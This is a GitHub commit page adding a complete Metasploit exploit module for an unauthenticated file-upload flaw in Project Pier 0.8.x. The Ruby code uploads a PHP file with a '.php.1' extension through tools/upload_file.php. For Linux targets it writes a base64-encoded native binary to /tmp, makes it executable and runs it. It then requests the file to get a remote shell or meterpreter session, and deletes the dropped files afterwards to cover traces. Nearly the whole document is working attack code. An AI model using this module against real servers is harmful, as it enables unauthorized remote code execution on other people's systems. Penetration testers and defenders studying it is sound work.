Skip to content

Commit 033a11e

Browse files
committed
Add Project Pier File Upload Vulnerability
1 parent 7d848c7 commit 033a11e

File tree

1 file changed

+170
-0
lines changed

1 file changed

+170
-0
lines changed
Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Project Pier Arbitrary File Upload Vulnerability",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Project Pier. The application's
21+
uploading tool does not require any authentication, which allows a malicious user
22+
to upload an arbitrary file onto the web server, and then cause remote code
23+
execution by simply requesting it. Please note this module only works best against
24+
an Apache server due to the way it handle an extension name.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'BlackHawk',
30+
'sinn3r'
31+
],
32+
'References' =>
33+
[
34+
['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html']
35+
],
36+
'Platform' => ['linux', 'php'],
37+
'Targets' =>
38+
[
39+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
40+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
41+
],
42+
'Arch' => ARCH_CMD,
43+
'Privileged' => false,
44+
'DisclosureDate' => "Oct 8 2012",
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/'])
50+
], self.class)
51+
end
52+
53+
54+
def check
55+
target_uri.path << '/' if target_uri.path[-1,1] != '/'
56+
base = File.dirname("#{target_uri.path}.")
57+
58+
res = send_request_cgi(
59+
{
60+
'method' => 'GET',
61+
'uri' => "#{base}/index.php",
62+
'vars_get' =>
63+
{
64+
'c' => 'access',
65+
'a' => 'login'
66+
}
67+
})
68+
69+
if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
70+
return Exploit::CheckCode::Vulnerable
71+
else
72+
return Exploit::CheckCode::Safe
73+
end
74+
end
75+
76+
def get_write_exec_payload(fname, data)
77+
p = Rex::Text.encode_base64(generate_payload_exe)
78+
php = %Q|
79+
<?php
80+
$f = fopen("#{fname}", "wb");
81+
fwrite($f, base64_decode("#{p}"));
82+
fclose($f);
83+
exec("chmod 777 #{fname}");
84+
exec("#{fname}");
85+
?>
86+
|
87+
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
88+
return php
89+
end
90+
91+
def on_new_session(cli)
92+
if cli.type == "meterpreter"
93+
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
94+
end
95+
96+
@clean_files.each do |f|
97+
print_status("#{@peer} - Remove: #{f}")
98+
begin
99+
if cli.type == 'meterpreter'
100+
cli.fs.file.rm(f)
101+
else
102+
cli.shell_command_token("rm #{f}")
103+
end
104+
rescue ::Exception => e
105+
vprint_error("#{@peer} - Unable to remove #{f}: #{e.message}")
106+
end
107+
end
108+
end
109+
110+
def upload_php(base, fname, php_payload, folder_name)
111+
data = Rex::MIME::Message.new
112+
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
113+
data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"")
114+
data.add_part('', nil, nil, 'form-data; name="part"')
115+
data.add_part('Submit', nil, nil, 'form-data; name="submit"')
116+
117+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
118+
119+
res = send_request_cgi({
120+
'method' => 'POST',
121+
'uri' => "#{base}/tools/upload_file.php",
122+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
123+
'data' => post_data
124+
})
125+
126+
return res.body if res
127+
end
128+
129+
def exec_php(base, body)
130+
# Body example:
131+
# 0 ./upload/test/test.txt-0001
132+
uri = body.scan(/(\/.+$)/).flatten[0]
133+
134+
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
135+
136+
if res and res.code == 404
137+
print_error("#{@peer} - The upload most likely failed")
138+
return
139+
end
140+
141+
handler
142+
end
143+
144+
def exploit
145+
@peer = "#{rhost}:#{rport}"
146+
147+
target_uri.path << '/' if target_uri.path[-1,1] != '/'
148+
base = File.dirname("#{target_uri.path}.")
149+
150+
folder_name = Rex::Text.rand_text_alpha(4)
151+
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
152+
@clean_files = [php_fname]
153+
154+
case target['Platform']
155+
when 'php'
156+
p = "<?php #{payload.encoded} ?>"
157+
when 'linux'
158+
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
159+
@clean_files << bin_name
160+
bin = generate_payload_exe
161+
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
162+
end
163+
164+
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
165+
res = upload_php(base, php_fname, p, folder_name)
166+
167+
print_status("#{@peer} - Executing '#{php_fname}'...")
168+
exec_php(base, res)
169+
end
170+
end

0 commit comments

Comments
 (0)